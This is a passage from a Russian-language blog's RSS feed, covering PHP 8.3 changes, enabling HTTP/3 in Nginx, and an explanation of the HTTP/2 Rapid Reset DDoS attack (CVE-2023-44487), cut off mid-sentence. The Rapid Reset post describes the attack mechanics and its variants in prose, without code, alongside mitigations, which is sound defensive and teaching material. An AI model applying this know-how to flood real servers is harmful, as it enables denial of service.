$rng-&gt;getBytesFromString($crockfordAlphabet, 5); // "5YH8T"</code></pre><h2>Новые методы \Random\Randomizer::getFloat() и nextFloat()&nbsp;<a href="https://wiki.php.net/rfc/randomizer_additions" target="_blank" style="background-color: rgb(255, 255, 255); transition-property: all;">rfc</a></h2><p>RFC добавляет новые методы в расширении Random, генерирующие случайное значение. \Random\Randomizer::getFloat()\Random\Randomizer::nextFloat(). Например если необходимо сгенерировать случайное число float между 0 &lt;и &lt; 10 и в диапазоне 0 &lt;= и &lt; 1:</p><p><br></p><pre class="line-numbers"><code class="language-php">$rng = new Random\Randomizer();
$rng-&gt;getFloat(0, 10, \Random\IntervalBoundary::OpenOpen); // 9.3835746900717

...

$rng = new Random\Randomizer();
$rng-&gt;nextFloat(); // 0.21185336351144
</code></pre><p><br></p><h2>PHP CLI Lint (php -l) поддерживает проверку нескольких файлов одновременно</h2><p>PHP&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">CLI</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;предоставляет функцию Linting, которая проверяет переданное имя файла на наличие синтаксических ошибок. Это полезно для быстрой проверки PHP-файла или куска кода перед выполнением:</span></p><pre class="line-numbers"><code class="language-powershell">php -l index.php</code></pre><pre class="line-numbers"><code class="language-powershell">//No syntax errors detected in index.php</code></pre><p><br></p><p>До PHP 8.3 было невозможно выполнить анализ нескольких файлов PHP за один вызов; независимо от количества предоставленных файлов, PHP CLI анализирует только первый файл. Начиная с PHP 8.3, можно передавать несколько файлов и PHP CLI проверяет их все за один вызов:</p><pre class="line-numbers"><code class="language-powershell">php -l index.php loader.php</code></pre><pre class="line-numbers"><code class="language-powershell">// No syntax errors detected in index.php
// No syntax errors detected in loader.php</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp; &nbsp;&nbsp;</span></p><h2>Более подходящие исключения даты/времени <a href="https://wiki.php.net/rfc/datetime-exceptions" target="_blank">rfc</a> <a href="https://wiki.php.net/rfc/datetime-exceptions#backward_incompatible_changes" target="_blank">break</a></h2><p>Во многих случаях PHP просто выбрасывал объект <span style="font-weight: bold;">Exception</span> или <span style="font-weight: bold;">Error</span>&nbsp;или выдавал предупреждение/ошибку, когда что-то пошло не так при работе с датами и временем. Этот RFC добавляет для них соответствующие специальные исключения.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Теперь у нас есть исключения, такие как <span style="font-weight: bold;">DateMalformedIntervalStringException</span>, <span style="font-weight: bold;">DateInvalidOperationException</span> и <span style="font-weight: bold;">DateRangeError</span>.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Как правило, эти дополнения не нарушают код, поскольку эти недавно добавленные исключения и ошибки являются подклассами общего <span style="font-weight: bold;">Exception</span>/<span style="font-weight: bold;">Error</span> классов. Однако в этом RFC есть три небольших критических изменения:</span></p><ul><li>Теперь <span style="font-weight: bold;">Epoch doesn't fit in a PHP integer</span> возвращает new DateRangeError вместо ValueError, который не является подклассом. Это проблема только для 32-битных платформ.</li><li>Предупреждение <span style="font-weight: bold;">Only non-special relative time specifications are supported for subtraction</span>&nbsp;становится новым DateTime::sub() date_sub() DateInvalidOperationException</li><li>Предупреждения <span style="font-weight: bold;">Unknown or bad format (%s) at position %d (%c): %sи String '%s' contains non-relative elements</span>, которые создаются при анализе неправильных/битых DateInterval строк, теперь будут выдавать новое исключение&nbsp;<span style="font-weight: bold;">DateMalformedIntervalStringException</span> при использовании с интерфейсом OO вместо отображения предупреждения и возврата <span style="font-weight: bold;">false</span>.</li></ul><p><br></p><h2>unserialize(): Вывод E_WARNING ошибок вместо E_NOTICE</h2><p>До версии PHP 8.3 передача недопустимой строки в функцию unserialize() выдавала всего лишь уведомления PHP ( E_NOTICE) в определенных случаях, например, при синтаксических ошибках в сериализованной строке. Начиная с PHP 8.3 выдается предупреждение&nbsp;<span style="font-size: 1rem;">E_WARNING</span>. Кроме того, некоторые условия ошибки так же изменились в функции serialize(), чтобы выдать E_WARNING:</p><p><br></p><pre class="line-numbers"><code class="language-php">unserialize("invalid-string");

 - PHP Notice:  unserialize(): Error at offset 0 of 14 bytes //было
 + PHP Warning:  unserialize(): Error at offset 0 of 14 bytes //стало</code></pre><p>В идеале невозможность десериализации данной строки должна быть серьезной ошибкой и вызывать исключение. Однако для обеспечения обратной совместимости и упрощения путей обновления уровень ошибок в PHP 8.3 был увеличен, а в будущем возможно его обновление для создания исключений.</p><h2>Трейты и статические свойства</h2><blockquote>Использование трейтов со статическими свойствами теперь будет повторно объявлять статические свойства, унаследованные от родительского класса. Это создаст отдельное хранилище статических свойств для текущего класса. Это аналогично добавлению статического свойства в класс напрямую без трейтов.</blockquote><p><br></p><h2>Обнаружение переполнения стека <a href="https://github.com/php/php-src/pull/9104" target="_blank">pr</a></h2><p>В PHP 8.3 добавлены две новые директивы ini с именами <span style="font-weight: bold;">zend.max_allowed_stack_size</span> и <span style="font-weight: bold;">zend.reserved_stack_size</span>. Приложения, близкие к переполнению стека вызовов, теперь могут вызывать <span style="font-weight: bold;">Error</span> при использовании больше, чем разница между <span style="font-weight: bold;">zend.max_allowed_stack_size</span> и <span style="font-weight: bold;">zend.reserved_stack_size</span>.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Преимущество этой функции заключается в том, что ошибки сегментации, вызванные переполнением стека, больше не будут приводить к ошибкам сегментации, что значительно упрощает отладку.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Значение по умолчанию для <span style="font-weight: bold;">zend.max_allowed_stack_size</span> равно 0, что означает, что PHP автоматически определит значение. Вы также можете указать -1, что ограничений нет или указать определенное количество байтов. Директива <span style="font-weight: bold;">zend.reserved_stack_size</span> используется для определения «буферной зоны», так что PHP может по-прежнему выдавать ошибку вместо того, чтобы фактически исчерпать память. Значение здесь должно быть числом байтов, но PHP сам определит для вас разумное значение по умолчанию, поэтому вам не обязательно устанавливать его, если только вы не сталкиваетесь с пограничными случаями для конкретных приложений.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">И наконец, для файберов&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">в качестве максимально допустимого размера стека используется существующая директива</span><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;</span><span style="font-family: var(--bff); letter-spacing: 0px; font-weight: bold;">fiber.stack_size</span><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;.</span></p><pre class="line-numbers"><code class="language-powershell">zend.max_allowed_stack_size=128K</code></pre><p>&nbsp;</p><h2>Новая функция mb_str_pad&nbsp;<a href="https://wiki.php.net/rfc/mb_str_pad" target="_blank">rfc</a></h2><p>В PHP различные строковые функции доступны в двух вариантах: один для байтовых строк, а другой для многобайтовых строк (mb). Однако заметным отсутствием среди многобайтовых строковых функций mbstring является эквивалент <span style="font-weight: bold;">str_pad()</span>. В&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">функции&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff); font-weight: bold;">str_pad()</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;отсутствует поддержка многобайтовых символов, что вызывает проблемы при работе с языками, использующими многобайтовые кодировки, такие как UTF-8. Этот RFC предлагает добавить в PHP такую ​​функцию, которую мы будем называть mb_str_pad():</span></p><pre class="line-numbers"><code class="language-php">function mb_str_pad(
    string $string, 
    int $length, 
    string $pad_string = " ", 
    int $pad_type = STR_PAD_RIGHT, 
    ?string $encoding = null,
): string {}

// This will pad such that the string will become 10 bytes long.
var_dump(str_pad('Français', 10, '_', STR_PAD_RIGHT));   // BAD: string(10) "Français_"
var_dump(str_pad('Français', 10, '_', STR_PAD_LEFT));    // BAD: string(10) "_Français"
var_dump(str_pad('Français', 10, '_', STR_PAD_BOTH));    // BAD: string(10) "Français_"
 
// This will pad such that the string will become 10 characters long, and in this case 11 bytes.
var_dump(mb_str_pad('Français', 10, '_', STR_PAD_RIGHT));// GOOD: string(11) "Français__"
var_dump(mb_str_pad('Français', 10, '_', STR_PAD_LEFT)); // GOOD: string(11) "__Français"
var_dump(mb_str_pad('Français', 10, '_', STR_PAD_BOTH)); // GOOD: string(11) "_Français_"</code></pre>
<h2>Новая функция stream_context_set_options</h2><p>В PHP есть функция <a href="https://www.php.net/stream_context_set_option">stream_context_set_option</a>, которая поддерживает две сигнатуры функций. Она может либо принимать массив параметров, которые можно установить для одного или нескольких контекстов или обёрток, либо принимать одно имя обёртки, имя параметра или его значение.
</p>
<p>
В рамках усилий PHP по удалению перегруженных сигнатур функций (функций, поддерживающих более одной сигнатуры), PHP 8.3 объявляет новую функцию stream_context_set_options (обратите внимание на последнюю букву "s" во множественном числе), которая поддерживает вторую сигнатуру выше.
</p>
<h2>Замыкания магических методов и именованные аргументы</h2><p>Допустим, у вас есть класс, который поддерживает магические методы:</p><pre class="line-numbers"><code class="language-php">class Test {
    public function __call($name, $args) 
    {
        var_dump($name, $args);
    }
    
    public static function __callStatic($name, $args) {
        var_dump($name, $args);
    }
}</code></pre><p>PHP 8.3 позволяет создавать замыкания из этих методов, а затем передавать этим замыканиям именованные аргументы. Раньше это было невозможно:</p><pre class="line-numbers"><code class="language-php">$test = new Test();

$closure = $test-&gt;magic(...);

$closure(a: 'hello', b: 'world'); </code></pre><h2>Инвариантная видимость констант</h2><p>Ранее видимость констант не проверялась при реализации интерфейса. В PHP 8.3 эта ошибка исправлена, но в некоторых местах она может привести к нарушению кода, если вы не знали об этом поведении:<span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span></p><pre class="line-numbers"><code class="language-php">interface SomeInterface {
    public const FOO = 'foo';
}

class C implements SomeInterface {
    private const FOO = 'foo';
}</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span></p><h2><span style="color: var(--xoxo-hc); font-family: var(--hff); letter-spacing: 0px;">class_alias() поддерживает псевдонимы встроенных классов PHP</span><br></h2><p>Функция class_alias создает псевдоним для предоставленного класса. Класс с псевдонимом ведет себя точно так же, как исходный класс.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Но до PHP 8.3 попытка создать псевдоним для встроенного класса PHP приводила к исключению&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">ValueError</span><span style="font-family: var(--bff); letter-spacing: 0px;">:</span></p><pre class="line-numbers"><code class="language-powershell">class_alias('stdClass', 'MyClass'); 
class_alias('Traversable', 'NewTraversableInterface');

ValueError: class_alias(): Argument #1 ($class) must be a user-defined class name, internal class name given</code></pre><p>Начиная с PHP 8.3 можно использовать псевдонимы для&nbsp;<span style="background-color: rgb(255, 255, 255);">встроенных</span>&nbsp;классов и интерфейсов и код отработает корректно:</p><pre class="line-numbers"><code class="language-php">class_alias('stdClass', 'MyClass'); 
class_alias('Traversable', 'NewTraversableInterface');</code></pre><p>Функция class_alias() принимает bool $autoload = true в качестве третьего параметра. Этот параметр не влияет на встроенные классы, поскольку их не нужно загружать автоматически.</p><h2>Небольшие устаревшие RFC</h2><ul><li>Не рекомендуется передавать отрицательное&nbsp;<span style="background-color: rgb(255, 255, 255);">значение </span>$width в mb_strimwidth()</li><li>Устареет и будет удалена константа NumberFormatter::TYPE_CURRENCY</li><li><span style="background-color: rgb(255, 255, 255);">Устареет и будет удалена&nbsp;</span>неработающая реализация Mt19937 до PHP 7.1 (MT_RAND_PHP)</li><li>Устареет&nbsp;<span style="background-color: rgb(255, 255, 255);">и будет удален</span>&nbsp;вызов ldap_connect() с 2 параметрами $host и $port</li><li><a href="https://wiki.php.net/rfc/assert-string-eval-cleanup" target="_blank">Устаревшие остатки строковых вычисляемых утверждений кода</a></li></ul><h2>Небольшие, но заметные изменения</h2><p>И как обычно, не каждое изменение в PHP проходит процесс RFC. На самом деле, большинство изменений включают обслуживание и исправление ошибок и не требуют RFC. Все эти изменения перечислены в документе <a href="https://github.com/php/php-src/blob/master/UPGRADING" target="_blank">ОБНОВЛЕНИЕ</a> . Я перечислю некоторые из самых известных, но вам обязательно следует прочитать весь список, если вы хотите узнать о мельчайших деталях.</p><ul><li>При использовании FFI функции C, которые имеют возвращаемый тип <span style="font-weight: bold;">void</span> теперь возвращают <span style="font-weight: bold;">null</span> вместо&nbsp;<span style="font-weight: bold;">FFI\CData:void</span></li><li><span style="font-weight: bold;">posix_getrlimit()</span> теперь принимает необязательный&nbsp;<span style="background-color: rgb(255, 255, 255);">параметр&nbsp;</span>$res, позволяющий получить ограничение на один ресурс.</li><li><span style="font-weight: bold;">mysqli_poll() </span>теперь выдает <span style="font-weight: bold;">ValueError</span>, когда передаются аргументы чтения или ошибки.</li><li><span style="font-weight: bold;">array_pad()</span> теперь ограничено только максимальным количеством элементов, которые может иметь массив. Раньше можно было добавить не более <span style="font-weight: bold;">1048576</span> элементов за раз.</li><li>Новые функции <span style="font-weight: bold;">posix</span>: <span style="font-weight: bold;">posix_sysconf()</span>, <span style="font-weight: bold;">posix_pathconf()</span>, <span style="font-weight: bold;">posix_fpathconf()</span> и <span style="font-weight: bold;">posix_eaccess()</span></li><li><span style="font-weight: bold;">proc_get_status()</span> многократное выполнение теперь всегда будет возвращать правильное значение в posix-системах.</li><li><span style="background-color: rgb(255, 255, 255);">директива&nbsp;</span><span style="font-weight: bold;">opcache.consistency_checks </span>в ini была удалена<br></li><li><a href="https://wiki.php.net/rfc/saner-array-sum-product" target="_blank" style="">Улучшены array_sum()&nbsp;и array_product()</a></li></ul><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/77</guid>
                <pubDate>2023-11-23T21:54:36+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как включить HTTP/3 в Nginx]]></title>
                <link>https://sergeymukhin.com/blog/kak-vklyuchit-http3-v-nginx</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Как включить HTTP/3 в Nginx</h1><p>Ровно пару лет назад я писал про разработку <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/http-3-chto-takoe-quic">новой версии протокола HTTP - HTTP/3</a>. До недавнего времени это было тестовые ветки разработки, но в настоящее время вы можете уже начать использовать HTTP/3 на своих проектах.</p><h2>Немного вводной информации о HTTP/3</h2><p>Конечно же, важным отличием HTTP/3 является то, что он работает на новом транспортном протоколе QUIC. QUIC предназначен для интенсивного использования мобильных устройств в Интернете, когда люди носят с собой смартфоны, которые постоянно переключаются из одной сети в другую в течение дня. Когда были разработаны первые интернет-протоколы, этого еще не было: устройства были менее портативными и нечасто переключались между сетями.</p><p>Т.е. QUIC поможет исправить некоторые из самых больших недостатков HTTP/2:</p><ul><li><p>Разработка решения проблемы низкой производительности при переключении смартфона с Wi-Fi на сотовые данные (например, при выходе из дома или офиса)</p></li><li><p>Уменьшение последствий потери пакетов - когда один пакет информации не доходит до места назначения, он больше не блокирует все потоки информации (проблема, известная как «блокировка начала строки»).</p></li></ul><p>Кстати, протокол QUIC был разработан Google еще в 2012 году и принят Инженерной группой Интернета (IETF) — независимой от поставщиков организацией по стандартизации — когда они начали создавать новый стандарт HTTP/3. Посоветовавшись с экспертами со всего мира, IETF внесла множество изменений для разработки собственной версии QUIC.</p><h2>Включить поддержку HTTP/3 в Nginx</h2><p>Поддержка протоколов QUIC и HTTP/3 доступна начиная с версии 1.25.0. Также, начиная с 1.25.0, поддержка доступна в готовых пакетах для Linux.</p><blockquote><p>Поддержка QUIC и HTTP/3 экспериментальная, поэтому возможно всё.</p></blockquote><p>Проверяем версию nginx:</p><pre class="language-powershell"><code class="language-powershell">nginx -v</code></pre><p>Убеждаемся в правильной версии:</p><pre class="language-powershell"><code class="language-powershell">$ nginx version: nginx/1.25.3</code></pre><p>Для сборки nginx рекомендуется библиотека SSL с поддержкой QUIC, например BoringSSL, LibreSSL или QuicTLS. Иначе, при использовании библиотеки OpenSSL, будет использоваться OpenSSL compatibility layer, в котором не поддерживается early data.</p><p>Итак имеем стандартный виртуальный хост nginx с HTTP/2:</p><pre class="line-numbers language-nginx"><code class="language-nginx">server
{
    listen 443 ssl;
    # включаем поддержку http2
    http2 on;  
 
    ssl_protocols TLSv1.2;

    ssl_certificate /path_certs/fullchain.pem;
    ssl_certificate_key path_certs/privkey.pem;
    ...
}</code></pre><p>Теперь дополним его директивами для включения HTTP/3:</p><pre class="line-numbers language-nginx"><code class="language-nginx">server
{
    # для лучшей совместимости рекомендуется использовать один порт для quic и https
    # указываем протокол quic и параметр reuseport для правильной работы с несколькими рабочими процессами
    listen 443 quic reuseport;    
    listen 443 ssl;

    # включаем поддержку http2
    http2 on;    
    # включаем поддержку http3
    http3 on;
    # разрешаем GSO
    quic_gso on;
    # разрешаем проверку адреса
    quic_retry on;

    # Для работы QUIC требуется версия протокола TLSv1.3.
    ssl_protocols TLSv1.2 TLSv1.3;

    ssl_certificate /path_certs/fullchain.pem;
    ssl_certificate_key path_certs/privkey.pem;

    # для перенаправления браузеров в quic-порт
    add_header Alt-Svc 'h3=":443"; ma=86400';

    ...

}
</code></pre><p></p><p>В принципе все, если возникнуть проблемы с подключением, убедитесь:</p><ul><li><p>что nginx собран с правильной SSL-библиотекой и версией</p></li><li><p>что клиент действительно поддерживает работу с QUIC</p></li></ul><p>После внесения правок и перезагрузки веб-сервера, можете проверить через <a target="_blank" rel="noopener noreferrer nofollow" href="/service/check-http3">сервис поддержку HTTP/3</a>, либо сейчас сразу можете проверить сайт ниже в поле.</p><p></p>
<div class="footer_top">
	<div class="container">
		<div class="footer_subscribe_form check_http3_form">
			<form id="form-check-http3" action="/service/check-http3" class="form form-162" method="get">
				<div class="form-fields">
					<div class="fn__subscribe"> <input type="url" name="host" placeholder="Введите адрес сайта" required="" value=""> <input type="submit" value="Проверить"> </div>
				</div>
			</form>
		</div>
	</div>
</div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/115</guid>
                <pubDate>2023-11-16T10:15:34+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Уязвимость HTTP/2 DDoS атака с быстрым сбросом (Rapid Reset) - CVE-2023-44487]]></title>
                <link>https://sergeymukhin.com/blog/uiazvimost-http2-ddos-ataka-s-bystrym-sbrosom-rapid-reset-cve-2023-44487</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Уязвимость HTTP/2 DDoS атака с быстрым сбросом (Rapid Reset) - CVE-2023-44487</h1><p>При определенных условиях эту уязвимость можно использовать для выполнения атаки типа "отказ в обслуживании" в nginx или других продуктах, реализующих серверную часть спецификации HTTP/2. Чтобы защитить ваши системы от этой атаки, рекомендуется немедленно обновить конфигурацию NGINX или другого веб-сервера.</p><p>С чего все началось, ряд сервисов Google подверглись новой DDoS-атаке на основе HTTP/2, пик которой пришелся на август. Эти атаки были значительно масштабнее, чем любые <a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.google.com/blog/products/identity-security/how-google-cloud-blocked-largest-layer-7-ddos-attack-at-46-million-rps">ранее зарегистрированные атаки 7 уровня</a>, при этом самая крупная атака превысила 398 миллионов запросов в секунду.</p><p>Хотя воздействие было минимальным, группа реагирования на DDoS-атаки Google рассмотрела их и добавила дополнительные средства защиты для дальнейшего снижения эффекта подобных атак</p><h2>Проблема со сбросом потока HTTP/2</h2><p>Основной целью разработки HTTP/2 была эффективность, и к сожалению, функции, которые делают HTTP/2 более эффективным для официальных клиентов, также могут использоваться для повышения эффективности DDoS-атак.</p><h2>Мультиплексирование потоков HTTP/2</h2><p>Давайте вспомним как работает HTTP/2, после установления соединения с сервером протокол HTTP/2 позволяет клиентам инициировать параллельные потоки для обмена данными. В отличие от предыдущих итераций протокола, если конечный пользователь решает уйти со страницы или остановить обмен данными по какой-либо другой причине, HTTP/2 предоставляет возможность отменить поток. Это делается путем отправки кадра RST_STREAM на сервер, что избавляет его от ненужного выполнения работы.</p><p>Уязвимость используется путем запуска и быстрой отмены большого количества потоков HTTP/2 через установленное соединение, тем самым обходя максимум одновременно запущенных потоков сервера. Это происходит потому, что входящие потоки сбрасываются быстрее, чем приходят последующие потоки, что позволяет клиенту перегружать сервер, даже не достигая настроенного порога.</p><p>HTTP/2 использует "потоки", двунаправленные абстракции, используемые для передачи различных сообщений или «кадров» между конечными точками. «Мультиплексирование потоков» — это основная функция HTTP/2, которая позволяет более эффективно использовать каждое TCP-соединение. Потоки мультиплексируются таким образом, что их можно отслеживать с обеих сторон соединения, используя только одно соединение уровня 4. Мультиплексирование потоков позволяет клиентам иметь несколько текущих запросов без управления несколькими отдельными соединениями.</p><p>Одним из основных ограничений при организации DoS-атаки 7 уровня - является количество одновременных транспортных соединений. Каждое соединение требует затрат, включая память операционной системы для записей сокетов и буферов, время процессора для подтверждения TLS, а также то, что для каждого соединения требуется уникальный четырехкортеж, IP-адрес и пара портов для каждой стороны соединения, что ограничивает количество одновременных соединений между двумя IP-адресами.</p><p>В HTTP/1.1 каждый запрос обрабатывается последовательно. Сервер прочитает запрос, обработает его, напишет ответ и только потом прочитает и обработает следующий запрос. На практике это означает, что частота запросов, которые могут быть отправлены по одному соединению, составляет один запрос за цикл туда и обратно, где туда и обратно включается задержка сети, время обработки прокси-сервера и время обработки серверного запроса. Хотя конвейерная обработка HTTP/1.1 доступна на некоторых клиентах и ​​серверах для увеличения пропускной способности соединения, она не распространена среди официальных клиентов.</p><p>С помощью HTTP/2 клиент может открывать несколько одновременных потоков в одном TCP-соединении, причем каждый поток соответствует одному HTTP-запросу. Максимальное количество одновременных открытых потоков теоретически контролируется сервером, но на практике клиенты могут открывать 100 потоков на один запрос, и серверы обрабатывают эти запросы параллельно. Важно отметить, что лимиты сервера не могут быть изменены в одностороннем порядке.</p><p>Например, клиент может открыть 100 потоков и отправить запрос по каждому из них за один проход; прокси-сервер будет читать и обрабатывать каждый поток последовательно, но запросы к внутренним серверам снова можно распараллелить. Затем клиент может открывать новые потоки по мере получения ответов на предыдущие. Это обеспечивает эффективную пропускную способность для одного соединения, равную 100 запросам за один проход, с константами времени прохождения туда и обратно, аналогичными запросам HTTP/1.1. Обычно это приводит к почти 100-кратному увеличению использования каждого соединения.</p><h2>HTTP/2 Атака Rapid Reset</h2><p>Протокол HTTP/2 позволяет клиентам указывать, что серверу следует отменить предыдущий поток, отправив фрейм RST_STREAM. Протокол не требует от клиента и сервера каким-либо образом согласовывать отмену, клиент может сделать это в одностороннем порядке. Клиент также может предположить, что отмена вступит в силу немедленно, когда сервер получит фрейм RST_STREAM, прежде чем будут обработаны любые другие данные из этого TCP-соединения.</p><p>Эта атака называется Rapid Reset, (быстрый сброс) поскольку она основана на способности конечной точки отправить фрейм RST_STREAM сразу после отправки фрейма запроса, что заставляет другую конечную точку начать работу, а затем быстро сбрасывать запрос. Запрос отменяется, но соединение HTTP/2 остается открытым.</p><img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2023_worlds_largest_rapid_reset_diagram.max-1616x909.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/2023_worlds_largest_rapid_reset_diagram.max-1616x909.png"><p><em>Шаблон запроса и ответа HTTP/1.1 и HTTP/2</em></p><p>HTTP/2 Атака Rapid Reset, построенная на этой возможности, проста: клиент открывает большое количество потоков одновременно, как и в стандартной атаке HTTP/2, но вместо того, чтобы ждать ответа на каждый поток запросов от сервера или прокси, клиент немедленно отменяет каждый запрос.</p><p>Возможность немедленного сброса потоков позволяет каждому соединению иметь неопределенное количество запросов в процессе. Явно отменяя запросы, злоумышленник никогда не превышает ограничение на количество одновременных открытых потоков. Количество текущих запросов больше не зависит от времени приема-передачи (RTT), а только от доступной пропускной способности сети.</p><p>В типичной реализации HTTP/2 серверу по-прежнему придется выполнять значительный объем работы для отмененных запросов, например выделять новые структуры данных потока, анализировать запрос и выполнять распаковку заголовка, а также сопоставлять URL-адрес с ресурсом. Для реализаций обратного прокси-сервера запрос может быть передан на внутренний сервер до обработки фрейма RST_STREAM. С другой стороны, клиент практически ничего "не платит" за отправку запросов. Это создает полезную асимметрию затрат между сервером и клиентом.</p><p>Еще одно преимущество, которое получает злоумышленник, заключается в том, что явная отмена запросов сразу после создания означает, что обратный прокси-сервер не будет отправлять ответ ни на один из запросов. Отмена запросов до записи ответа уменьшает пропускную способность нисходящей линии связи (сервер/прокси-сервер для злоумышленника).</p><h2>Варианты атаки HTTP/2 Rapid Reset</h2><p>В течение нескольких недель после первых DDoS-атак было замечено несколько вариантов атак Rapid Reset. Эти варианты, как правило, не так эффективны, как первоначальная версия, но все же могут быть более эффективными, чем стандартные DDoS-атаки HTTP/2.</p><p>Первый вариант не отменяет потоки сразу, а вместо этого открывает сразу пакет потоков, ждет некоторое время, затем отменяет эти потоки и затем сразу открывает еще один большой пакет новых потоков. Эта атака может обойти средства защиты, основанные только на скорости входящих фреймов RST_STREAM (например, разрешать не более 100 RST_STREAM в секунду для соединения перед его закрытием).</p><p>Эти атаки теряют главное преимущество отменяющих атак, поскольку не позволяют максимизировать использование соединения, но все же имеют некоторую эффективность реализации по сравнению со стандартными DDoS-атаками HTTP/2. Но этот вариант действительно означает, что любое снижения последствий, основанное на отмене потока с ограничением скорости, должно устанавливать довольно строгие ограничения, чтобы быть эффективными.</p><p>Второй вариант полностью отказывается от отмены потоков и вместо этого оптимистично пытается открыть больше одновременных потоков, чем заявлено сервером. Преимущество этого подхода по сравнению со стандартной DDoS-атакой HTTP/2 заключается в том, что клиент может постоянно поддерживать конвейер запросов полным и исключить RTT клиент-прокси как узкое место. Это также может устранить RTT прокси-сервера как узкое место, если запрос адресован ресурсу, на который сервер HTTP/2 отвечает немедленно.</p><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://www.rfc-editor.org/rfc/rfc9113.html">RFC 9113</a>, текущий HTTP/2 RFC, предполагает, что попытка открыть слишком много потоков должна аннулировать только те потоки, которые превысили лимит, а не все соединение. Большинство серверов HTTP/2 не будут обрабатывать эти потоки, и именно это позволяет использовать вариант атаки без отмены, почти сразу принимая и обрабатывая новый поток после ответа на предыдущий поток.</p><h2>Многогранный подход к снижению последствий</h2><p>Конечно никто не ждет, что простая блокировка отдельных запросов станет эффективной защитой от атак этого класса - вместо этого при обнаружении злоупотреблений необходимо закрыть все TCP-соединение. HTTP/2 обеспечивает встроенную поддержку закрытия соединений с использованием типа фрейма для GOAWAY. RFC определяет процесс корректного закрытия соединения, который включает в себя сначала отправку информационного сообщения GOAWAY, не устанавливающего ограничения на открытие новых потоков, а затем отправку туда и обратно другого сообщения, запрещающего открытие дополнительных потоков.</p><p>Однако этот изящный процесс GOAWAY обычно не реализуется таким образом, чтобы обеспечить защиту от вредоносных клиентов. Эта форма смягчения делает соединение уязвимым для атак быстрого сброса на слишком долгое время, и ее не следует использовать для создания средств снижения последствий, поскольку она не останавливает входящие запросы. Вместо этого следует настроить GOAWAY для немедленного ограничения создания потока.</p><p>Это оставляет вопрос о том, какие связи являются злоупотребляющими. Отмена запросов клиента по своей сути не является злоупотреблением: эта функция существует в протоколе HTTP/2, чтобы помочь лучше управлять обработкой запросов. Типичными ситуациями являются ситуации, когда браузеру больше не нужен запрошенный им ресурс из-за того, что пользователь ушел со страницы, или приложения используют метод длительного опроса с тайм-аутом на стороне клиента.</p><p>Меры по смягчению последствий этого вектора атаки могут принимать различные формы, но в основном они сосредоточены на отслеживании статистики соединений и использовании различных сигналов и бизнес-логики для определения того, насколько полезно каждое соединение. Например, если соединение имеет более 100 запросов, причем более 50&nbsp;% из них отменены, это может быть кандидатом на меры по снижению риска. Масштаб и тип ответа зависят от риска для каждой платформы, но ответы могут варьироваться от принудительных фреймов GOAWAY, как обсуждалось ранее, до немедленного закрытия TCP-соединения.</p><p>Чтобы защититься от варианта этой атаки без отмены, рекомендуется серверам HTTP/2 закрывать соединения, превышающие лимит одновременного потока. Это может произойти либо сразу, либо после небольшого количества повторных правонарушений.</p><h2>Применимость к другим протоколам</h2><p>Эти методы атаки не относятся напрямую к тому же HTTP/3 (QUIC) из-за различий в протоколах, и Google в настоящее время не видит, чтобы HTTP/3 использовался в качестве вектора DDoS-атаки в большом масштабе. Несмотря на это, рекомендуется реализациям серверов HTTP/3 заранее внедрять механизмы ограничения объема работы, выполняемой одним транспортным соединением, аналогично средствам снижения риска HTTP/2, обсуждавшимся выше.</p><p>В начале реагирования на эти DDoS-атаки и в координации с отраслевыми партнерами стало очевидно, что этот новый тип атаки может оказать широкое влияние на любую организацию, предлагающую протокол HTTP/2 для своих услуг.</p><p>В процессе раскрытия информации команда сосредоточилась на уведомлении крупных разработчиков HTTP/2, включая инфраструктурные компании и поставщиков серверного программного обеспечения. Целью этих предварительных уведомлений была разработка и подготовка мер по смягчению последствий для скоординированного выпуска. В прошлом этот подход позволял включать широко распространенные средства защиты для поставщиков услуг или делать их доступными через обновления программного обеспечения для многих пакетов и решений.</p><h2>CVE-2023-44487</h2><p>Google возглавил скоординированный процесс раскрытия уязвимостей и зарезервировал <a target="_blank" rel="noopener noreferrer nofollow" href="https://nvd.nist.gov/vuln/detail/CVE-2023-44487">CVE-2023-44487</a> для отслеживания потенциальных исправлений реализаций HTTP/2.</p><h2>Влияние на NGINX</h2><p>Из соображений производительности и потребления ресурсов NGINX ограничивает количество одновременных потоков значением по умолчанию, равным 128 (см. <a target="_blank" rel="noopener" href="http://nginx.org/en/docs/http/ngx_http_v2_module.html#http2_max_concurrent_streams">http2_max_concurrent_streams</a> ). Кроме того, чтобы оптимально сбалансировать производительность сети и сервера, NGINX позволяет клиенту сохранять HTTP-соединения для до 1000 запросов по умолчанию, используя HTTP-поддержку активности (см. <a target="_blank" rel="noopener" href="http://nginx.org/en/docs/http/ngx_http_core_module.html#keepalive_requests">keepalive_requests</a> 